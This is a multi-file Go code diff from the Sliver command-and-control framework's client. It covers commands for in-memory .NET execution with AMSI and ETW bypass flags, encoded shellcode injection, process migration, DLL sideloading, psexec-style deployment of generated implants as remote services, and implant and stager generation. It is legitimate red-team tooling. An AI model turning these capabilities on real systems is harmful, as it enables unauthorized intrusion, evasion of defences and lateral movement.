Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+11 -34
View File
@@ -20,11 +20,10 @@ package exec
import (
"context"
"os"
"io/ioutil"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -50,7 +49,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := os.ReadFile(assemblyPath)
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
@@ -58,44 +57,22 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
inProcess := ctx.Flags.Bool("in-process")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
amsiBypass := ctx.Flags.Bool("amsi-bypass")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 && !inProcess {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: inProcess,
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
+4 -33
View File
@@ -23,6 +23,7 @@ import (
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
@@ -43,7 +44,6 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -51,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := os.ReadFile(shellcodePath)
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
@@ -60,37 +60,8 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
return
}
ctrl := make(chan bool)
@@ -98,7 +69,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: rwxPages,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
+10 -12
View File
@@ -18,6 +18,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -46,7 +47,6 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
ppid := ctx.Flags.Uint("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
@@ -61,16 +61,14 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: uint32(ppid),
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
@@ -241,7 +239,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = os.CreateTemp("", outFileName)
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
-10
View File
@@ -3,17 +3,14 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -36,19 +33,12 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Args.Uint("pid")
config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if ctx.Flags.Bool("disable-sgn") {
encoder = clientpb.ShellcodeEncoder_NONE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(ctx),
Encoder: encoder,
})
ctrl <- true
<-ctrl
+33 -66
View File
@@ -21,19 +21,16 @@ package exec
import (
"context"
"fmt"
"os"
insecureRand "math/rand"
"strings"
"time"
insecureRand "math/rand"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
@@ -50,12 +47,10 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -66,46 +61,35 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := os.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
filename := randomFileName()
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -174,28 +158,11 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomFileName() string {
noun, _ := codenames.RandomNoun()
noun = strings.ToLower(noun)
switch insecureRand.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
noun = strings.ToTitle(noun)
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
}
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[insecureRand.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
return string(b)
}
+2 -7
View File
@@ -21,7 +21,7 @@ package exec
import (
"context"
"fmt"
"os"
"io/ioutil"
"path/filepath"
"strings"
@@ -45,13 +45,11 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -63,9 +61,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
+2 -20
View File
@@ -1,27 +1,9 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -42,7 +24,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+4 -38
View File
@@ -1,26 +1,8 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
@@ -49,9 +31,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
port := ctx.Flags.Uint("port")
privateKeyPath := ctx.Flags.String("private-key")
if privateKeyPath != "" {
privKey, err = os.ReadFile(privateKeyPath)
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -61,19 +43,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
kerberosRealm := ctx.Flags.String("kerberos-realm")
kerberosConfig := ctx.Flags.String("kerberos-config")
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
if kerberosRealm != "" && kerberosKeytabFile == "" {
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
return
}
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
@@ -90,9 +59,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.CommandName == extName {
if ext.Name == extName {
return nil
}
}
+3 -10
View File
@@ -22,6 +22,7 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
@@ -154,15 +155,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(con.GetActiveSessionConfig().Name), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
@@ -172,7 +165,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
+1 -5
View File
@@ -31,11 +31,7 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if save == "" {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
} else {
externalBuild(config, save, con)
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
+5 -23
View File
@@ -1,28 +1,10 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"net"
"os"
"regexp"
"strings"
@@ -69,12 +51,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badChars := ctx.Flags.String("badchars")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badChars) > 0 {
for _, b := range strings.Split(badChars, " ") {
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
@@ -116,7 +98,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
+11 -234
View File
@@ -22,11 +22,12 @@ import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
"net"
"net/url"
"os"
"os/signal"
"path"
"path/filepath"
"runtime"
"strings"
@@ -35,8 +36,6 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
@@ -83,9 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
ErrNoExternalBuilder = errors.New("no external builders are available")
ErrNoValidBuilders = errors.New("no valid external builders for target")
)
// GenerateCmd - The main command used to generate implant binaries
@@ -98,24 +94,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if save == "" {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
} else {
_, err := externalBuild(config, save, con)
if err != nil {
if err == ErrNoExternalBuilder {
con.PrintErrorf("There are no external builders currently connected to the server\n")
con.PrintErrorf("See 'builders' command for more information\n")
} else if err == ErrNoValidBuilders {
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
con.PrintErrorf("See 'builders' command for more information\n")
} else {
con.PrintErrorf("%s\n", err)
}
return
}
}
compile(config, save, con)
}
func expandPath(path string) string {
@@ -139,7 +118,7 @@ func saveLocation(save, DefaultName string) (string, error) {
if strings.HasSuffix(save, "/") {
log.Printf("%s is dir\n", save)
os.MkdirAll(save, 0700)
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
@@ -153,7 +132,7 @@ func saveLocation(save, DefaultName string) (string, error) {
log.Printf("%s does exist\n", save)
if fi.IsDir() {
log.Printf("%s is dir\n", save)
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
} else {
log.Printf("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -178,9 +157,8 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
return "Shared Library"
case clientpb.OutputFormat_SHELLCODE:
return "Shellcode"
default:
return "Unknown"
}
panic(fmt.Sprintf("Unknown format %v", value))
}
// Shared function that extracts the compile flags from the grumble context
@@ -271,7 +249,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
isSharedLib := false
isService := false
@@ -304,10 +281,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
@@ -345,7 +318,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
TemplateName: ctx.Flags.String("template"),
WGPeerTunIP: tunIP.String(),
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
@@ -361,7 +333,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
LimitLocale: limitLocale,
Format: configFormat,
IsSharedLib: isSharedLib,
@@ -502,7 +473,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
@@ -631,131 +601,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return c2s, nil
}
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
potentialBuilders, err := findExternalBuilders(config, con)
if err != nil {
return nil, err
}
var externalBuilder *clientpb.Builder
if len(potentialBuilders) == 1 {
externalBuilder = potentialBuilders[0]
} else {
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
if err != nil {
return nil, err
}
}
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
}
start := time.Now()
listenerID, listener := con.CreateEventListener()
waiting := true
spinner := spin.New()
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
signal.Notify(sigint, os.Interrupt)
con.PrintInfof("Creating external build ... ")
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
Config: config,
BuilderName: externalBuilder.Name,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
con.Printf("done\n")
var name string
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
for waiting {
select {
case <-time.After(100 * time.Millisecond):
elapsed := time.Since(start)
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
case event := <-listener:
switch event.EventType {
case consts.ExternalBuildFailedEvent:
parts := strings.SplitN(string(event.Data), ":", 2)
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
return nil, fmt.Errorf("external build failed: %s", parts[1])
}
case consts.AcknowledgeBuildEvent:
if string(event.Data) == externalImplantConfig.Config.ID {
msgF = "External build acknowledged by builder (template: %s) ... %s"
}
case consts.ExternalBuildCompletedEvent:
parts := strings.SplitN(string(event.Data), ":", 2)
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
name = parts[1]
waiting = false
}
}
case <-sigint:
waiting = false
con.Printf("\n")
return nil, fmt.Errorf("user interrupt")
}
}
